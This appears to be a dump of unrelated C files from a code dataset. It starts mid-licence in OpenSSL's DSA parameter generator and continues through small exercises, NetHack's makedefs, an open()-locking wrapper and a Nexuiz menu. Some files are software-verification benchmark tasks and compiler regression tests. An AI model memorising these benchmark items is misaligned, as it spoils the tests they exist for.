* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young ([email protected])"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson ([email protected])"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.]
*/
#undef GENUINE_DSA
#ifdef GENUINE_DSA
/*
* Parameter generation follows the original release of FIPS PUB 186,
* Appendix 2.2 (i.e. use SHA as defined in FIPS PUB 180)
*/
# define HASH EVP_sha()
#else
/*
* Parameter generation follows the updated Appendix 2.2 for FIPS PUB 186,
* also Appendix 2.2 of FIPS PUB 186-1 (i.e. use SHA as defined in FIPS PUB
* 180-1)
*/
# define HASH EVP_sha1()
#endif
#include <openssl/opensslconf.h> /* To see if OPENSSL_NO_SHA is defined */
#ifndef OPENSSL_NO_SHA
# include <stdio.h>
# include <time.h>
# include <string.h>
# include <openssl/evp.h>
# include <openssl/bn.h>
# include <openssl/dsa.h>
# include <openssl/rand.h>
# include <openssl/sha.h>
# include <openssl/err.h>
# ifdef OPENSSL_FIPS
static int dsa_builtin_paramgen(DSA *ret, int bits,
unsigned char *seed_in, int seed_len,
int *counter_ret, unsigned long *h_ret,
BN_GENCB *cb);
int DSA_generate_parameters_ex(DSA *ret, int bits,
unsigned char *seed_in, int seed_len,
int *counter_ret, unsigned long *h_ret,
BN_GENCB *cb)
{
if (ret->meth->dsa_paramgen)
return ret->meth->dsa_paramgen(ret, bits, seed_in, seed_len,
counter_ret, h_ret, cb);
return dsa_builtin_paramgen(ret, bits, seed_in, seed_len,
counter_ret, h_ret, cb);
}
static int dsa_builtin_paramgen(DSA *ret, int bits,
unsigned char *seed_in, int seed_len,
int *counter_ret, unsigned long *h_ret,
BN_GENCB *cb)
{
int ok = 0;
unsigned char seed[SHA_DIGEST_LENGTH];
unsigned char md[SHA_DIGEST_LENGTH];
unsigned char buf[SHA_DIGEST_LENGTH], buf2[SHA_DIGEST_LENGTH];
BIGNUM *r0, *W, *X, *c, *test;
BIGNUM *g = NULL, *q = NULL, *p = NULL;
BN_MONT_CTX *mont = NULL;
int k, n = 0, i, b, m = 0;
int counter = 0;
int r = 0;
BN_CTX *ctx = NULL;
unsigned int h = 2;
if (FIPS_selftest_failed()) {
FIPSerr(FIPS_F_DSA_BUILTIN_PARAMGEN, FIPS_R_FIPS_SELFTEST_FAILED);
goto err;
}
if (FIPS_mode() && (bits < OPENSSL_DSA_FIPS_MIN_MODULUS_BITS)) {
DSAerr(DSA_F_DSA_BUILTIN_PARAMGEN, DSA_R_KEY_SIZE_TOO_SMALL);
goto err;
}
if (bits < 512)
bits = 512;
bits = (bits + 63) / 64 * 64;
/*
* NB: seed_len == 0 is special case: copy generated seed to seed_in if
* it is not NULL.
*/
if (seed_len && (seed_len < 20))
seed_in = NULL; /* seed buffer too small -- ignore */
if (seed_len > 20)
seed_len = 20; /* App. 2.2 of FIPS PUB 186 allows larger
* SEED, but our internal buffers are
* restricted to 160 bits */
if ((seed_in != NULL) && (seed_len == 20)) {
memcpy(seed, seed_in, seed_len);
/* set seed_in to NULL to avoid it being copied back */
seed_in = NULL;
}
if ((ctx = BN_CTX_new()) == NULL)
goto err;
if ((mont = BN_MONT_CTX_new()) == NULL)
goto err;
BN_CTX_start(ctx);
r0 = BN_CTX_get(ctx);
g = BN_CTX_get(ctx);
W = BN_CTX_get(ctx);
q = BN_CTX_get(ctx);
X = BN_CTX_get(ctx);
c = BN_CTX_get(ctx);
p = BN_CTX_get(ctx);
test = BN_CTX_get(ctx);
if (!BN_lshift(test, BN_value_one(), bits - 1))
goto err;
for (;;) {
for (;;) { /* find q */
int seed_is_random;
/* step 1 */
if (!BN_GENCB_call(cb, 0, m++))
goto err;
if (!seed_len) {
RAND_pseudo_bytes(seed, SHA_DIGEST_LENGTH);
seed_is_random = 1;
} else {
seed_is_random = 0;
seed_len = 0; /* use random seed if 'seed_in' turns out to
* be bad */
}
memcpy(buf, seed, SHA_DIGEST_LENGTH);
memcpy(buf2, seed, SHA_DIGEST_LENGTH);
/* precompute "SEED + 1" for step 7: */
for (i = SHA_DIGEST_LENGTH - 1; i >= 0; i--) {
buf[i]++;
if (buf[i] != 0)
break;
}
/* step 2 */
EVP_Digest(seed, SHA_DIGEST_LENGTH, md, NULL, HASH, NULL);
EVP_Digest(buf, SHA_DIGEST_LENGTH, buf2, NULL, HASH, NULL);
for (i = 0; i < SHA_DIGEST_LENGTH; i++)
md[i] ^= buf2[i];
/* step 3 */
md[0] |= 0x80;
md[SHA_DIGEST_LENGTH - 1] |= 0x01;
if (!BN_bin2bn(md, SHA_DIGEST_LENGTH, q))
goto err;
/* step 4 */
r = BN_is_prime_fasttest_ex(q, DSS_prime_checks, ctx,
seed_is_random, cb);
if (r > 0)
break;
if (r != 0)
goto err;
/* do a callback call */
/* step 5 */
}
if (!BN_GENCB_call(cb, 2, 0))
goto err;
if (!BN_GENCB_call(cb, 3, 0))
goto err;
/* step 6 */
counter = 0;
/* "offset = 2" */
n = (bits - 1) / 160;
b = (bits - 1) - n * 160;
for (;;) {
if ((counter != 0) && !BN_GENCB_call(cb, 0, counter))
goto err;
/* step 7 */
BN_zero(W);
/* now 'buf' contains "SEED + offset - 1" */
for (k = 0; k <= n; k++) {
/*
* obtain "SEED + offset + k" by incrementing:
*/
for (i = SHA_DIGEST_LENGTH - 1; i >= 0; i--) {
buf[i]++;
if (buf[i] != 0)
break;
}
EVP_Digest(buf, SHA_DIGEST_LENGTH, md, NULL, HASH, NULL);
/* step 8 */
if (!BN_bin2bn(md, SHA_DIGEST_LENGTH, r0))
goto err;
if (!BN_lshift(r0, r0, 160 * k))
goto err;
if (!BN_add(W, W, r0))
goto err;
}
/* more of step 8 */
if (!BN_mask_bits(W, bits - 1))
goto err;
if (!BN_copy(X, W))
goto err;
if (!BN_add(X, X, test))
goto err;
/* step 9 */
if (!BN_lshift1(r0, q))
goto err;
if (!BN_mod(c, X, r0, ctx))
goto err;
if (!BN_sub(r0, c, BN_value_one()))
goto err;
if (!BN_sub(p, X, r0))
goto err;
/* step 10 */
if (BN_cmp(p, test) >= 0) {
/* step 11 */
r = BN_is_prime_fasttest_ex(p, DSS_prime_checks, ctx, 1, cb);
if (r > 0)
goto end; /* found it */
if (r != 0)
goto err;
}
/* step 13 */
counter++;
/* "offset = offset + n + 1" */
/* step 14 */
if (counter >= 4096)
break;
}
}
end:
if (!BN_GENCB_call(cb, 2, 1))
goto err;
/* We now need to generate g */
/* Set r0=(p-1)/q */
if (!BN_sub(test, p, BN_value_one()))
goto err;
if (!BN_div(r0, NULL, test, q, ctx))
goto err;
if (!BN_set_word(test, h))
goto err;
if (!BN_MONT_CTX_set(mont, p, ctx))
goto err;
for (;;) {
/* g=test^r0%p */
if (!BN_mod_exp_mont(g, test, r0, p, ctx, mont))
goto err;
if (!BN_is_one(g))
break;
if (!BN_add(test, test, BN_value_one()))
goto err;
h++;
}
if (!BN_GENCB_call(cb, 3, 1))
goto err;
ok = 1;
err:
if (ok) {
if (ret->p)
BN_free(ret->p);
if (ret->q)
BN_free(ret->q);
if (ret->g)
BN_free(ret->g);
ret->p = BN_dup(p);
ret->q = BN_dup(q);
ret->g = BN_dup(g);
if (ret->p == NULL || ret->q == NULL || ret->g == NULL) {
ok = 0;
goto err;
}
if (seed_in != NULL)
memcpy(seed_in, seed, 20);
if (counter_ret != NULL)
*counter_ret = counter;
if (h_ret != NULL)
*h_ret = h;
}
if (ctx) {
BN_CTX_end(ctx);
BN_CTX_free(ctx);
}
if (mont != NULL)
BN_MONT_CTX_free(mont);
return ok;
}
# endif
#endif
|
the_stack_data/156393072.c
|
// RUN: %llvmgcc -S %s -o /dev/null
struct istruct {
unsigned char C;
};
struct foo {
unsigned int I:1;
struct istruct J;
unsigned char L[1];
unsigned int K:1;
};
struct foo F = { 1, { 7 }, { 123 } , 1 };
|
the_stack_data/220454459.c
|
#include <stdio.h>
int main()
{
int x,y;
printf("Insira aqui o primeiro valor\n");
scanf("%d",&x);
printf("Insira aqui o segundo valor\n");
scanf("%d",&y);
if(x>y){
printf("O numero maior e o primeiro.");
}
else {
printf("O numero maior e o segundo.");
}
}
|
the_stack_data/980760.c
|
#include <dlfcn.h>
#include <gnu/lib-names.h> /* defines LIBC_SO */
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
/* Wrap libc's open() to add locking via flock().
If a file is opened for writing, we obtain an exclusive lock via
flock() on the whole file before returning the file descriptor.
If a file is opened only for reading, we obtain a shared lock.
This only applies if the environment variable FLOCKIT_FILE_PREFIX
is set, and it only applies to files whose names start with
FLOCKIT_FILE_PREFIX. Other files are unaffected. If
FLOCKIT_FILE_PREFIX is not set, no locking is done.
*/
static int (*libc_open)(const char *, int, ...);
void
flockit_setup(void) {
void *libc_handle;
if (!libc_open) {
dlerror(); /* clear any existing error */
libc_handle = dlopen(LIBC_SO, RTLD_LAZY);
if (!libc_handle) {
fprintf(stderr, "flockit can't find libc: %s\n", dlerror());
exit(1);
}
libc_open = dlsym(libc_handle, "open");
if (!libc_open) {
fprintf(stderr, "flockit can't find fopen in libc: %s\n", dlerror());
exit(1);
}
dlclose(libc_handle);
dlerror(); /* clear any existing error */
}
}
int
open(const char *file, int flags, ...) {
int fd, flock_operation;
mode_t mode;
va_list argp;
char *flockit_file_prefix;
va_start(argp, flags);
flockit_setup();
if (flags & O_CREAT) {
mode = va_arg(argp, mode_t);
fd = libc_open(file, flags, mode);
} else {
fd = libc_open(file, flags);
}
va_end(argp);
if (flags & O_WRONLY || flags & O_RDWR) {
flock_operation = LOCK_EX;
} else {
flock_operation = LOCK_SH;
}
flockit_file_prefix = getenv("FLOCKIT_FILE_PREFIX");
if (fd >= 0 && flockit_file_prefix &&
!strncmp(file, flockit_file_prefix, strlen(flockit_file_prefix))) {
flock(fd, flock_operation);
}
return fd;
}
|
the_stack_data/94278.c
|
#include <stdio.h>
static int data[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
static int size = 10;
int binSearch(int element) {
int min = 0,
max = size - 1;
while (min <= max) {
int mid = (min + max) / 2;
if (element == data[mid])
return mid;
else if (element < data[mid])
max = mid - 1;
else min = mid + 1;
}
return -1;
}
int main(int argc, char *argv[]) {
printf("Element 8 is at location %i\n", binSearch(8));
return 0;
}
|
the_stack_data/53078.c
|
/*
* Copyright (c) 1995-1994 The University of Utah and
* the Computer Systems Laboratory at the University of Utah (CSL).
* All rights reserved.
*
* Permission to use, copy, modify and distribute this software is hereby
* granted provided that (1) source code retains these copyright, permission,
* and disclaimer notices, and (2) redistributions including binaries
* reproduce the notices in supporting documentation, and (3) all advertising
* materials mentioning features or use of this software display the following
* acknowledgement: ``This product includes software developed by the
* Computer Systems Laboratory at the University of Utah.''
*
* THE UNIVERSITY OF UTAH AND CSL ALLOW FREE USE OF THIS SOFTWARE IN ITS "AS
* IS" CONDITION. THE UNIVERSITY OF UTAH AND CSL DISCLAIM ANY LIABILITY OF
* ANY KIND FOR ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE.
*
* CSL requests users of this software to return to [email protected] any
* improvements that they make and grant CSL redistribution rights.
*
* Author: Bryan Ford, University of Utah CSL
*/
#include <ctype.h>
#include <string.h>
unsigned long strtoul(const char *p, char **out_p, int base)
{
unsigned long v = 0;
while (isspace(*p))
p++;
/* XXX sign? */
while (1)
{
char c = *p;
if ((c >= '0') && (c <= '9') && (c - '0' < base))
v = (v * base) + (c - '0');
else if ((c >= 'a') && (c <= 'z') && (c - 'a' + 10 < base))
v = (v * base) + (c - 'a' + 10);
else if ((c >= 'A') && (c <= 'Z') && (c - 'A' + 10 < base))
v = (v * base) + (c - 'A' + 10);
else
break;
p++;
}
if (out_p) *out_p = (char*)p;
return v;
}
|
the_stack_data/947560.c
|
// code: 1
int main() { return 1 / 1.0; }
|
the_stack_data/43886751.c
|
#include <stdio.h>
struct Student{
int no;
char name[256];
};
struct User{
int no;
char *name;
};
void updateByValue(struct Student students[], char *name);
void updateByReference(struct Student strudents[], char *name );
int main(void){
struct Student student[3] = {
{1, "hoge"},
{2, "fuga"},
{3, "piyo"}
};
int i = 0;
for(i = 0; i < 3; i++){
printf("%3d:%4s", student[i].no, student[i].name);
if(i == 2)printf("\n");
}
struct User users[3] = {
{1, "foo"},
{2, "bar"},
{3, "baz"}
};
struct User *p;
p = users;
i = 0;
for(i = 0; i < 3; i++){
printf("%3d:%3s", (p+i)->no, (p+i)->name);
if(i == 2)printf("\n");
}
char name[3] = "abc";
updateByValue(student, name);
updateByReference(student, name);
}
void updateByValue(struct Student students[], char *name){
int i = 0;
for(i = 0; i < 3; i++){
strcpy(students[i].name, name);
printf("updateByValue%3d:%3s ",students[i].no,students[i].name);
if(i == 2)printf("\n");
}
}
void updateByReference(struct Student *p, char *name){
int i = 0;
for(i = 0; i < 3; i++){
strcpy((p+i)->name, name);
printf("updateByReference%3d%3s ", (p+i)->no, (p+i)->name);
if(i == 2)printf("\n");
}
}
|
the_stack_data/39769.c
|
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) {
if (!(cond)) {
ERROR: __VERIFIER_error();
}
return;
}
int main(void) {
unsigned int x = 0;
unsigned int y = 1;
while (x < 6) {
x++;
y *= 2;
}
__VERIFIER_assert(y % 3);
}
|
the_stack_data/170453946.c
|
#include <stdio.h>
int main(int argc, char *argv[])
{
float a =320000.0;
double b = 2.14e9;
printf("%f can be written %e\n", a, a);
printf("%f can be written %e\n", b, b);// 用“ %e ”表示科学技术法
return 0;
}
|
the_stack_data/211935.c
|
/* Copyright (c) Stichting Mathematisch Centrum, Amsterdam, 1985. */
/* makedefs.c - version 1.0.2 */
#include <stdio.h>
/* construct definitions of object constants */
#define LINSZ 1000
#define STRSZ 40
int fd;
char string[STRSZ];
main(argc, argv)
int argc;
char **argv;
{
register int index = 0;
register int propct = 0;
register char *sp;
if (argc != 2) {
(void)fprintf(stderr, "usage: makedefs file\n");
exit(1);
}
if ((fd = open(argv[1], 0)) < 0) {
perror(argv[1]);
exit(1);
}
skipuntil("objects[] = {");
while(getentry()) {
if(!*string){
index++;
continue;
}
for(sp = string; *sp; sp++)
if(*sp == ' ' || *sp == '\t' || *sp == '-')
*sp = '_';
if(!strncmp(string, "RIN_", 4)){
capitalize(string+4);
printf("#define %s u.uprops[%d].p_flgs\n",
string+4, propct++);
}
for(sp = string; *sp; sp++) capitalize(sp);
/* avoid trouble with stupid C preprocessors */
if(!strncmp(string, "WORTHLESS_PIECE_OF_", 19))
printf("/* #define %s %d */\n", string, index);
else
printf("#define %s %d\n", string, index);
index++;
}
printf("\n#define CORPSE DEAD_HUMAN\n");
printf("#define LAST_GEM (JADE+1)\n");
printf("#define LAST_RING %d\n", propct);
printf("#define NROFOBJECTS %d\n", index-1);
exit(0);
}
char line[LINSZ], *lp = line, *lp0 = line, *lpe = line;
int eof;
readline(){
register int n = read(fd, lp0, (line+LINSZ)-lp0);
if(n < 0){
printf("Input error.\n");
exit(1);
}
if(n == 0) eof++;
lpe = lp0+n;
}
char
nextchar(){
if(lp == lpe){
readline();
lp = lp0;
}
return((lp == lpe) ? 0 : *lp++);
}
skipuntil(s) char *s; {
register char *sp0, *sp1;
loop:
while(*s != nextchar())
if(eof) {
printf("Cannot skipuntil %s\n", s);
exit(1);
}
if(strlen(s) > lpe-lp+1){
register char *lp1, *lp2;
lp2 = lp;
lp1 = lp = lp0;
while(lp2 != lpe) *lp1++ = *lp2++;
lp2 = lp0; /* save value */
lp0 = lp1;
readline();
lp0 = lp2;
if(strlen(s) > lpe-lp+1) {
printf("error in skipuntil");
exit(1);
}
}
sp0 = s+1;
sp1 = lp;
while(*sp0 && *sp0 == *sp1) sp0++, sp1++;
if(!*sp0){
lp = sp1;
return(1);
}
goto loop;
}
getentry(){
int inbraces = 0, inparens = 0, stringseen = 0, commaseen = 0;
int prefix = 0;
char ch;
#define NSZ 10
char identif[NSZ], *ip;
string[0] = string[4] = 0;
/* read until {...} or XXX(...) followed by ,
skip comment and #define lines
deliver 0 on failure
*/
while(1) {
ch = nextchar();
swi:
if(letter(ch)){
ip = identif;
do {
if(ip < identif+NSZ-1) *ip++ = ch;
ch = nextchar();
} while(letter(ch) || digit(ch));
*ip = 0;
while(ch == ' ' || ch == '\t') ch = nextchar();
if(ch == '(' && !inparens && !stringseen)
if(!strcmp(identif, "WAND") ||
!strcmp(identif, "RING") ||
!strcmp(identif, "POTION") ||
!strcmp(identif, "SCROLL"))
(void) strncpy(string, identif, 3),
string[3] = '_',
prefix = 4;
}
switch(ch) {
case '/':
/* watch for comment */
if((ch = nextchar()) == '*')
skipuntil("*/");
goto swi;
case '{':
inbraces++;
continue;
case '(':
inparens++;
continue;
case '}':
inbraces--;
if(inbraces < 0) return(0);
continue;
case ')':
inparens--;
if(inparens < 0) {
printf("too many ) ?");
exit(1);
}
continue;
case '\n':
/* watch for #define at begin of line */
if((ch = nextchar()) == '#'){
register char pch;
/* skip until '\n' not preceded by '\\' */
do {
pch = ch;
ch = nextchar();
} while(ch != '\n' || pch == '\\');
continue;
}
goto swi;
case ',':
if(!inparens && !inbraces){
if(prefix && !string[prefix])
string[0] = 0;
if(stringseen) return(1);
printf("unexpected ,\n");
exit(1);
}
commaseen++;
continue;
case '\'':
if((ch = nextchar()) == '\\') ch = nextchar();
if(nextchar() != '\''){
printf("strange character denotation?\n");
exit(1);
}
continue;
case '"':
{
register char *sp = string + prefix;
register char pch;
register int store = (inbraces || inparens)
&& !stringseen++ && !commaseen;
do {
pch = ch;
ch = nextchar();
if(store && sp < string+STRSZ)
*sp++ = ch;
} while(ch != '"' || pch == '\\');
if(store) *--sp = 0;
continue;
}
}
}
}
capitalize(sp) register char *sp; {
if('a' <= *sp && *sp <= 'z') *sp += 'A'-'a';
}
letter(ch) register char ch; {
return( ('a' <= ch && ch <= 'z') ||
('A' <= ch && ch <= 'Z') );
}
digit(ch) register char ch; {
return( '0' <= ch && ch <= '9' );
}
|
the_stack_data/23575363.c
|
#ifdef STM32F0xx
#include "stm32f0xx_ll_rtc.c"
#endif
#ifdef STM32F1xx
#include "stm32f1xx_ll_rtc.c"
#endif
#ifdef STM32F2xx
#include "stm32f2xx_ll_rtc.c"
#endif
#ifdef STM32F3xx
#include "stm32f3xx_ll_rtc.c"
#endif
#ifdef STM32F4xx
#include "stm32f4xx_ll_rtc.c"
#endif
#ifdef STM32F7xx
#include "stm32f7xx_ll_rtc.c"
#endif
#ifdef STM32G0xx
#include "stm32g0xx_ll_rtc.c"
#endif
#ifdef STM32G4xx
#include "stm32g4xx_ll_rtc.c"
#endif
#ifdef STM32H7xx
#include "stm32h7xx_ll_rtc.c"
#endif
#ifdef STM32L0xx
#include "stm32l0xx_ll_rtc.c"
#endif
#ifdef STM32L1xx
#include "stm32l1xx_ll_rtc.c"
#endif
#ifdef STM32L4xx
#include "stm32l4xx_ll_rtc.c"
#endif
#ifdef STM32WBxx
#include "stm32wbxx_ll_rtc.c"
#endif
|
the_stack_data/59511508.c
|
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
#define N 125
int main ( ) {
int a[N];
int i = 0;
while ( i < N ) {
a[i] = 42;
i = i + 1;
}
i = 0;
while ( i < N ) {
a[i] = 43;
i = i + 1;
}
i = 0;
while ( i < N ) {
a[i] = 44;
i = i + 1;
}
i = 0;
while ( i < N ) {
a[i] = 45;
i = i + 1;
}
i = 0;
while ( i < N ) {
a[i] = 46;
i = i + 1;
}
i = 0;
while ( i < N ) {
a[i] = 47;
i = i + 1;
}
int x;
for ( x = 0 ; x < N ; x++ ) {
__VERIFIER_assert( a[x] == 47 );
}
return 0;
}
|
the_stack_data/130150.c
|
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* alphabet: [a-z0-9] */
const char alphabet[] = "abcdefghijklmnopqrstuvwxyz0123456789";
/**
* not a cryptographically secure number
* return interger [0, n).
*/
int intN(int n) { return rand() % n; }
/**
* Input: length of the random string [a-z0-9] to be generated
*/
char *randomString(int len) {
char *rstr = malloc((len + 1) * sizeof(char));
int i;
for (i = 0; i < len; i++) {
rstr[i] = alphabet[intN(strlen(alphabet))];
}
rstr[len] = '\0';
return rstr;
}
int main(int argc, char **argv) {
// the seed for a new sequence of pseudo-random integers
// to be returned by rand()
srand(time(NULL));
char *p;
p = randomString(10);
printf("%s\n", p);
free(p);
p = randomString(11);
printf("%s\n", p);
free(p);
p = randomString(12);
printf("%s\n", p);
free(p);
}
|
the_stack_data/117616.c
|
char headline[256];
struct hdr {
char part1[9];
char part2[8];
} p;
void __attribute__((noinline,noclone))
init()
{
__builtin_memcpy (p.part1, "FOOBARFOO", sizeof (p.part1));
__builtin_memcpy (p.part2, "SPEC CPU", sizeof (p.part2));
}
int main()
{
char *x;
int c;
init();
__builtin_memcpy (&headline[0], p.part1, 9);
c = 9;
x = &headline[0];
x = x + c;
__builtin_memset (x, ' ', 245);
__builtin_memcpy (&headline[10], p.part2, 8);
c = 18;
x = &headline[0];
x = x + c;
__builtin_memset (x, ' ', 238);
if (headline[10] != 'S')
__builtin_abort ();
return 0;
}
|
the_stack_data/150142243.c
|
#ifdef INTERFACE
CLASS(NexuizAudioSettingsTab) EXTENDS(NexuizTab)
METHOD(NexuizAudioSettingsTab, fill, void(entity))
ATTRIB(NexuizAudioSettingsTab, title, string, "Audio")
ATTRIB(NexuizAudioSettingsTab, intendedWidth, float, 0.9)
ATTRIB(NexuizAudioSettingsTab, rows, float, 17)
ATTRIB(NexuizAudioSettingsTab, columns, float, 6.5)
ENDCLASS(NexuizAudioSettingsTab)
entity makeNexuizAudioSettingsTab();
#endif
#ifdef IMPLEMENTATION
entity makeNexuizAudioSettingsTab()
{
entity me;
me = spawnNexuizAudioSettingsTab();
me.configureDialog(me);
return me;
}
void fillNexuizAudioSettingsTab(entity me)
{
entity e, s, sl;
me.TR(me);
s = makeNexuizDecibelsSlider(-20, 0, 0.5, "bgmvolume");
me.TD(me, 1, 1, e = makeNexuizSliderCheckBox(-1000000, 1, s, "Music:"));
me.TD(me, 1, 2, s);
me.TR(me);
me.TR(me);
s = makeNexuizDecibelsSlider(-20, 0, 0.5, "volume");
me.TD(me, 1, 1, e = makeNexuizSliderCheckBox(-1000000, 1, s, "Master:"));
me.TD(me, 1, 2, s);
me.TR(me);
me.TDempty(me, 0.2);
s = makeNexuizDecibelsSlider(-20, 0, 0.5, "snd_staticvolume");
me.TD(me, 1, 0.8, e = makeNexuizSliderCheckBox(-1000000, 1, s, "Ambient:"));
makeMulti(s, "snd_entchannel2volume");
me.TD(me, 1, 2, s);
setDependentStringNotEqual(e, "volume", "0");
setDependentStringNotEqual(s, "volume", "0");
me.TR(me);
me.TDempty(me, 0.2);
s = makeNexuizDecibelsSlider(-20, 0, 0.5, "snd_worldchannel0volume");
me.TD(me, 1, 0.8, e = makeNexuizSliderCheckBox(-1000000, 1, s, "Info:"));
makeMulti(s, "snd_csqcchannel0volume");
me.TD(me, 1, 2, s);
setDependentStringNotEqual(e, "volume", "0");
setDependentStringNotEqual(s, "volume", "0");
me.TR(me);
me.TDempty(me, 0.2);
s = makeNexuizDecibelsSlider(-20, 0, 0.5, "snd_entchannel3volume");
makeMulti(s, "snd_playerchannel0volume snd_playerchannel3volume");
me.TD(me, 1, 0.8, e = makeNexuizSliderCheckBox(-1000000, 1, s, "Items:"));
me.TD(me, 1, 2, s);
setDependentStringNotEqual(e, "volume", "0");
setDependentStringNotEqual(s, "volume", "0");
me.TR(me);
me.TDempty(me, 0.2);
s = makeNexuizDecibelsSlider(-20, 0, 0.5, "snd_playerchannel6volume");
makeMulti(s, "snd_csqcchannel6volume");
me.TD(me, 1, 0.8, e = makeNexuizSliderCheckBox(-1000000, 1, s, "Pain:"));
me.TD(me, 1, 2, s);
setDependentStringNotEqual(e, "volume", "0");
setDependentStringNotEqual(s, "volume", "0");
me.TR(me);
me.TDempty(me, 0.2);
s = makeNexuizDecibelsSlider(-20, 0, 0.5, "snd_playerchannel7volume");
makeMulti(s, "snd_entchannel7volume");
me.TD(me, 1, 0.8, e = makeNexuizSliderCheckBox(-1000000, 1, s, "Player:"));
me.TD(me, 1, 2, s);
setDependentStringNotEqual(e, "volume", "0");
setDependentStringNotEqual(s, "volume", "0");
me.TR(me);
me.TDempty(me, 0.2);
s = makeNexuizDecibelsSlider(-20, 0, 0.5, "snd_entchannel4volume");
makeMulti(s, "snd_playerchannel4volume snd_entchannel6volume snd_csqcchannel4volume");
me.TD(me, 1, 0.8, e = makeNexuizSliderCheckBox(-1000000, 1, s, "Shots:"));
me.TD(me, 1, 2, s);
setDependentStringNotEqual(e, "volume", "0");
setDependentStringNotEqual(s, "volume", "0");
me.TR(me);
me.TDempty(me, 0.2);
s = makeNexuizDecibelsSlider(-20, 0, 0.5, "snd_playerchannel2volume");
me.TD(me, 1, 0.8, e = makeNexuizSliderCheckBox(-1000000, 1, s, "Voice:"));
me.TD(me, 1, 2, s);
setDependentStringNotEqual(e, "volume", "0");
setDependentStringNotEqual(s, "volume", "0");
me.TR(me);
me.TDempty(me, 0.2);
s = makeNexuizDecibelsSlider(-20, 0, 0.5, "snd_playerchannel1volume");
makeMulti(s, "snd_playerchannel5volume snd_entchannel1volume snd_entchannel5volume");
me.TD(me, 1, 0.8, e = makeNexuizSliderCheckBox(-1000000, 1, s, "Weapons:"));
me.TD(me, 1, 2, s);
setDependentStringNotEqual(e, "volume", "0");
setDependentStringNotEqual(s, "volume", "0");
me.gotoRC(me, 0, 3.5); me.setFirstColumn(me, me.currentColumn);
me.TD(me, 1, 1, e = makeNexuizTextLabel(0, "Frequency:"));
me.TD(me, 1, 2, e = makeNexuizTextSlider("snd_speed"));
e.addValue(e, "8 kHz", "8000");
e.addValue(e, "11.025 kHz", "11025");
e.addValue(e, "16 kHz", "16000");
e.addValue(e, "22.05 kHz", "22050");
e.addValue(e, "24 kHz", "24000");
e.addValue(e, "32 kHz", "32000");
e.addValue(e, "44.1 kHz", "44100");
e.addValue(e, "48 kHz", "48000");
e.configureNexuizTextSliderValues(e);
me.TR(me);
me.TD(me, 1, 1, e = makeNexuizTextLabel(0, "Channels:"));
me.TD(me, 1, 2, e = makeNexuizTextSlider("snd_channels"));
e.addValue(e, "Mono", "1");
e.addValue(e, "Stereo", "2");
e.addValue(e, "2.1", "3");
e.addValue(e, "3.1", "4");
e.addValue(e, "4.1", "5");
e.addValue(e, "5.1", "6");
e.addValue(e, "6.1", "7");
e.addValue(e, "7.1", "8");
e.configureNexuizTextSliderValues(e);
me.TR(me);
me.TDempty(me, 0.2);
me.TD(me, 1, 2.8, e = makeNexuizCheckBox(0, "snd_swapstereo", "Swap Stereo"));
setDependent(e, "snd_channels", 1.5, 0.5);
me.TR(me);
me.TDempty(me, 0.2);
me.TD(me, 1, 2.8, e = makeNexuizCheckBox(0, "snd_spatialization_control", "Headphone friendly mode"));
setDependent(e, "snd_channels", 1.5, 0.5);
me.TR(me);
me.TR(me);
me.TD(me, 1, 1, e = makeNexuizTextLabel(0, "Spatial voices:"));
me.TD(me, 1, 2/3, e = makeNexuizRadioButton(1, "cl_voice_directional", "0", "None"));
me.TD(me, 1, 2/3, e = makeNexuizRadioButton(1, "cl_voice_directional", "2", "Taunts"));
me.TD(me, 1, 2/3, e = makeNexuizRadioButton(1, "cl_voice_directional", "1", "All"));
me.TR(me);
me.TDempty(me, 0.2);
me.TD(me, 1, 0.8, e = makeNexuizTextLabel(0, "Taunt range:"));
setDependent(e, "cl_voice_directional", 0.5, -0.5);
me.TD(me, 1, 1.8, e = makeNexuizTextSlider("cl_voice_directional_taunt_attenuation"));
e.addValue(e, "Very short", "3");
e.addValue(e, "Short", "2");
e.addValue(e, "Normal", "0.5");
e.addValue(e, "Long", "0.25");
e.addValue(e, "Full", "0.015625");
e.configureNexuizTextSliderValues(e);
